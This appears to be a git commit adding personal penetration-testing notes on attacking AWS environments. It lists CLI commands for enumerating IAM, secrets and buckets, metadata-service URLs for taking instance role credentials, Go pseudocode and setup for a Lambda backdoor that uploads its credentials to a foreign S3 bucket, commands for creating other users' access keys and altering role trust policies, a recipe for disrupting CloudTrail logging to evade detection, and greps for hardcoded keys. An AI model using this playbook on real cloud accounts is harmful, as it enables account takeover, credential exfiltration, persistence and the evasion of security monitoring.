first commit

2025-11-21 17:17:42 +01:00
commit 4cad18c2a5
285 changed files with 122106 additions and 0 deletions
@@ -0,0 +1,113 @@
+- Using credentials with AWS CLI involves a file at `~/.aws/credentials`, with the following example format:
+```
+[<profile_name>]
+aws_access_key_id = <key>
+aws_secret_access_key = <secret>
+aws_session_token = <session_token>
+```
+	- Add `--profile demo` to use the above with AWS CLI commands
+- List accounts belonging to organization
+	- `aws organizations list-accounts`
+- Get information about IAM role
+	- `aws iam get-role --role-name <role_name> --profile <profile_name>`
+- List details on instances
+	- ` aws ec2 describe-instances --region=<region> --profile <profile_filename>`
+- List details on container repositories
+	- `aws ecr describe-repositories --region=<region> --profile gretsch1`
+- Get user information
+	- `aws iam get-user --profile <profile_name>`
+	- `aws iam list-attached-user-policies --user-name=<username> --profile <profile_name>`
+- Get information on policy
+	- ` aws iam get-policy --policy-arn mxrads-self-manage --profile kevin`
+	- Version
+		- ` aws iam iam get-policy --policy-arn <policy_arn> --profile <profile_name>`
+	- Get Content
+		- ` aws iam iam get-policy-version --policy-arn <policy_arn> --version <version> --profile <profile_name>`
+- List users and groups affiliated with default Administrator policy
+	- `aws iam list-entities-for-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess`
+- List current access keys for user (there can only be 2, so anything less allows you to add one)
+	- `aws iam list-access-keys --user b.daniella | jq ".AccessKeyMetadata[].AccessKeyId"`
+- Create access key for user
+	- `aws iam create-access-key --user b.daniella`
+- Change role policy
+	- `aws iam update-assume-role-policy --role-name lambda-dmp-sync --policy-document file://new_policy.json`
+- Find roles capable of `assume-role` calls for `lambda.amazonaws.com`
+	- `aws iam list-roles | jq -r '.Roles[] | .RoleName + ", " + .AssumeRolePolicyDocument.Statement[].Principal.Service' | grep "lambda.amazonaws.com"`
+- Check IAM policies for role
+	- `aws iam list-attached-role-policies --role <role_name> --profile <profile_name>`
+	- Look for roles with high permissions like `IAMFullAccess` and which lack write permissions to CloudWatch
+- Inspect security groups
+	- `aws ec2 describe-security-groups --group-ids <id_1> <id_2>`
+- Assume role
+	- `aws sts assume-role --role-arn arn:aws:iam::886371554408:user/lambda-dmp-sync --role-session-name AWSCLI-Session --duration-seconds 43200`
+- List existing lambda functions
+	- `aws iam lambda list-functions -region=<region>`
+- Get information on Lambda function
+	- `aws lambda get-function --function-name <lambda_func_name> --region <region> --profile <profile_name>`
+- Get information on Kubernetes cluster
+	- `aws eks describe-cluster --name <cluster_name> --profile <profile_filename> --region=<region>`
+- Get information from Resource Groups Tagging API
+	- `aws resourcegroupstaggingapi get-resources --region <region> --profile <profile_name>`
+- List secrets
+	- `aws secretsmanager list-secrets --region <region> --profile <profile_name>`
+- Download secret
+	- `aws secretsmanager get-secret-value --secret-id '<ID>' --region=eu-west-1 --profile it-role | jq -r .SecretString | base64 -d`
+- List buckets accessible with these credentials/this role:
+	- `aws s3api listbuckets --profile <profile_name>`
+	- List buckets and show bucket names only
+		- `aws s3api list-buckets --profile <profile_name> --query "Buckets[].Name"`
+- Sync bucket
+	- mounted locally
+		- `aws s3 sync s3://<bucket_name> <filesystem_mount_point>`
+	- With another bucket
+		- `aws s3 sync s3://source-bucket/ s3://destination-bucket`
+- List keys inside a single bucket
+	1. `aws s3api list-objects-v2 --profile <profile_name> --bucket <bucket_name> > list_objects_dl.txt`
+	2. `grep '"Key"' list_objects_dl | sed 's/[",]//g' > list_keys_dl.txt`
+- Check for S3 bucket logging
+	- `aws s3api get-bucket-logging --profile <profile_name> --bucket <bucket_name>`
+- Check bucket policy
+	- `aws s3api get-bucket-policy --bucket <bucket_name>`
+- Get account ID
+	- `aws sts get-caller-identity --profile <profile_name>`
+- Create a new bucket:
+	- `aws s3api create-bucket --bucket <bucket_name> --region=<aws_region> --create-bucket-configuration LocationConstraint=<aws_region>`
+- Upload file to bucket:
+	- ` aws s3api put-object --bucket <bucket_name> --key <key_name> --body <filename>`
+- Change file permissions in bucket:
+	- `aws s3api put-bucket-policy --bucket <bucket_name> --policy file://<local_policy_file>`
+- Exchange service account token for IAM keys (only for proper service account tokens with OpenID info in AWS)
+	1. `AWS_ROLE_ARN="<role_name>"`
+		- e.g. `AWS_ROLE_ARN="arn:aws:iam::886477354405:role/api-core.ec2"`
+	2. `TOKEN ="<token>"`
+	3. `aws sts assume-role-with-web-identity --role-arn $AWS_ROLE_ARN --role-session-name sessionID --web-identity-token $TOKEN --duration-seconds 43200`
+- Exchange IAM key for Kubernetes token
+	- `aws eks get-token --cluster-name <cluster_name> --profile <profile_name>`
+- Create kubectl config
+	- `aws eks update-kubeconfig --name <cluster_name> --profile <profile_name>`
+- Get all instances that match a specific tag
+	- `while read p; do instanceID=$(aws ec2 describe-instances --filter "Name=tag:Name,Values=*$p*" --query 'Reservations[0].Instances[].InstanceId' --region=eu-west-1 --output=text; echo $instanceID > list_ids.txt; done <services.txt`
+- Get user data from instance IDs in a file
+	- `while read p; do userData=$(aws ec2 describe-instance-attribute --instance-id $p --attribute userData --region=eu-west-1 | jq -r .UserData.Value | base64 -d) echo $userData > $p.txt done`
+- Get launch configurations
+	- `aws autoscaling describe-launch-configurations`
+	- `aws ec2 describe-launch-templates`
+- Start instance with user data script that runs on startup:
+	- `aws ec2 run-instances --image-id ami-<id> --count 1 --instance-type m3.medium --iam-instance-profile <profile_name> --subnet-id subnet-<id> --security-group-ids sg-<id> --tag-specifications 'ResourceType=instance,Tags=[{Key=Name,Value=spark-worker-5739ecea19a4}]' --user-data file://<startup_script> --profile <profile_name> --region <region>`
+- Redshift
+	- Get info on clusters
+		- `aws redshift describe-clusters`
+	- Get credentials for cluster
+		- `aws get-cluster-credentials --db-user root --db-name <database_name> --cluster-identifier <cluster_id> --duration-seconds 3600`
+- Check monitoring
+	- Access Analyzer
+		- `aws accessanalyzer list-analyzers --region=<region>`
+	- CloudTrail
+		- `aws cloudtrail describe-trails --region=<region>`
+	- GuardDuty
+		- `aws guardduty list-detectors --region=<region>`
+- Extract info from CloudTrail
+	- `aws logs describe-log-groups --region=<region> --profile <profile_name>`
+	- Filter for activity referring to a specific account
+		- `aws logs filter-log-events --log-group-name "CloudTrail/DefaultLogGroup" --filter-pattern "<account_ID>" --max-items 10 --profile <profile_name> --region <region> | jq ".events[].message" | sed 's/\\//g'
+`
@@ -0,0 +1,29 @@
+- Full list of endpoints:
+	- https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html
+
+- Region
+	- http://169.254.169.254/latest/meta-data/placement/availability-zone
+- Instance ID
+	- http://169.254.169.254/latest/meta-data/instance-id
+- AMI ID (image ID)
+	- http://169.254.169.254/latest/meta-data/ami-id
+- Public hostname (containing public IP as well)
+	- http://169.254.169.254/latest/meta-data/public-hostname
+- MAC address
+	- http://169.254.169.254/latest/meta-data/network/interfaces/macs/
+- Owner ID
+	- http://169.254.169.254/network/interfaces/macs/<MAC_address>/owner-id
+- Security Groups
+	- http://169.254.169.254/network/interfaces/macs/<MAC_address>/security-groups
+- Subnet ID
+	- http://169.254.169.254/network/interfaces/macs/<MAC_address>/subnet-id
+- Subnet IP range
+	- http://169.254.169.254/network/interfaces/macs/<MAC_address>/subnet-ipv4-cidr-block
+- User-Data (instance startup script)
+	- http://169.254.169.254/latest/user-data/
+	- Accepts BASH scripts as well as cloud-init files, which are in YAML
+- IAM role name
+	- http://169.254.169.254/latest/meta-data/iam/security-credentials
+- IAM temporary credentials
+	- http://169.254.169.254/latest/meta-data/iam/security-credentials/demo-role.ec2
+	- These credentials allow one to assume the IAM role of the instance from any AWS client (including the CLI) until the credentials are reset (every six hours)
@@ -0,0 +1,46 @@
+- Lambda functions
+	- Trigger on a specific event, such as new items being added to an S3 bucket or a CloudWatch event whenever your compromised credentials get rotated.
+		- The downside to CloudWatch is that only one lambda is allowed per log group and it is easily visible in the CloudWatch dashboard.
+		- S3 dashboard makes it less obvious.
+	- Access Analyzer will be concerned by creating new users or granting permissions to foreign users
+		- Use something like uploading lambda role credentials to a foreign bucket
+- Golang Pseudocode:
+```Go
+accessKey := fmt.Sprintf(`
+	AWS_ACCESS_KEY_ID=%s
+	AWS_SECRET_ACCESS_KEY=%s
+	AWS_SESSION_TOKEN=%s"`,
+		os.Getenv("AWS_ACCESS_KEY_ID"),
+		os.Getenv("AWS_SECRET_ACCESS_KEY"),
+		os.Getenv("AWS_SESSION_TOKEN"), 
+	) 
+uploadToS3(s3Client, S3BUCKET, "lambda", accessKey)
+```
+
+- Create lambda function
+	- `aws lambda create-function --function-name support-metrics-calc --zip-file fileb://function.zip --handler function --runtime go1.x --role <desired_role> --region <region>`
+- Create trigger event on upload of file to s3
+	- `aws lambda add-permission --function-name <desired_func_name> --region <region> --statement-id <arbitrary_unique_name> --action "lambda:InvokeFunction" --principal s3.amazonaws.com --source-arn arn:aws:s3:::s4d.mxrads.com --source-account <account_id> --profile <profile_name>`
+	- Set bucket rule that only triggers events on certain items being uploaded (starting with "2")
+		- `aws s3api put-bucket-notification-configuration --region <region> --bucket <bucket_name> --profile <profile_name> --notification-configuration file://config.json`
+- Example rule config
+```JSON
+{
+    "LambdaFunctionConfigurations": [{
+        "Id": "s3InvokeLambda12",
+        "LambdaFunctionArn": "arn:aws:lambda:eu-west-1:886371554408
+:function:support-metrics-calc",
+        "Events": ["s3:ObjectCreated:*"],
+        "Filter": {
+            "Key": {
+                "FilterRules": [{
+                    "Name": "prefix",
+                    "Value": "2"
+                }]
+            }
+        }
+    }]
+}
+```
+
+- 
@@ -0,0 +1,18 @@
+- Virtual Private Cloud (VPC)
+	- Allows organizations to set up virtual private networks to route traffic from instances to their core services, such as S3 buckets.
+	- Example: `curl https://mxrads-archives-packets-linux.s3-eu-west-1.amazonaws.com/beaconTest.html` will automatically route straight to S3 through Amazon's internal network, rather than going through the public internet.
+	- This allows organizations to close access to the internet for instances while still retaining access to AWS services.
+	- Look for this when you have RCE, RFI, or similar and you can't get the instance to reach out to the internet. Try uploading a file to an s3 bucket you control and curling the bucket instead; it might go through a VPC.
+	- Can also be used as a C2 channel
+- Evading CloudWatch
+	- Cannot disable, but can disrupt the trail for ingestion into automated tools and dashboards.
+		- `aws cloudtrail update-trail --name default --no-include-global-service-events --no-is-multi-region --region=<region>`
+	- For best results, disable before doing quick API calls you need to be outside of the logging, then re-enable at least 20 minutes later.
+- Quickly grep Linux files looking for:
+	- AWS keys
+		- `grep -R "AKIA" -4 *`
+	- S3 drivers used in Spark
+		- `egrep -R "s3[a|n]://" *`
+- Dangerous permissions
+	- `PassRole` 
+		- Allows users to assign any role to an instance, including an admin role. Allows full AWS account takeover.